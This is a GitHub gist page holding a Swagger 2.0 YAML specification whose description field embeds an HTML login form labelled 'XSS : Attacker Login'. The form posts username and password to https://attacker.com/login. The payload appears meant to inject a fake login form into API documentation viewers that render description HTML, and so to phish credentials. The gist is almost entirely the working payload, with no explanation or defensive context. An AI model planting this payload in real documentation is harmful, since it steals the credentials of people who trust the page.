Skip to content

Instantly share code, notes, and snippets.

@gujjuboy10x00
Last active February 6, 2024 03:46
Show Gist options
  • Save gujjuboy10x00/5b3e9a996dbe00557d4d10c87beb4258 to your computer and use it in GitHub Desktop.
Save gujjuboy10x00/5b3e9a996dbe00557d4d10c87beb4258 to your computer and use it in GitHub Desktop.

Revisions

  1. gujjuboy10x00 renamed this gist Feb 6, 2024. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  2. gujjuboy10x00 created this gist Feb 6, 2024.
    30 changes: 30 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,30 @@
    swagger: '2.0'
    info:
    version: 1.0.0
    title: Attacker Login Page
    description: '<div class="login-form">
    <div class="heading">
    <h1>XSS : Attacker Login</h1>
    </div>
    <div class="form-container">
    <form action="https://attacker.com/login" method="post" class="form-signin">
    <div class="form-group">
    <label for="username">Username</label>
    <input type="text" name="username" size="20">
    </div>
    <div class="form-group">
    <label for="password">Password</label>
    <input type="password" name="password" size="20">
    </div>
    <div class="form-group">
    <button type="submit" class="btn btn-default">Login</button>
    </div>
    </form>
    </div>
    </div>'
    paths:
    /:
    post:
    responses:
    '200':
    description: Login successful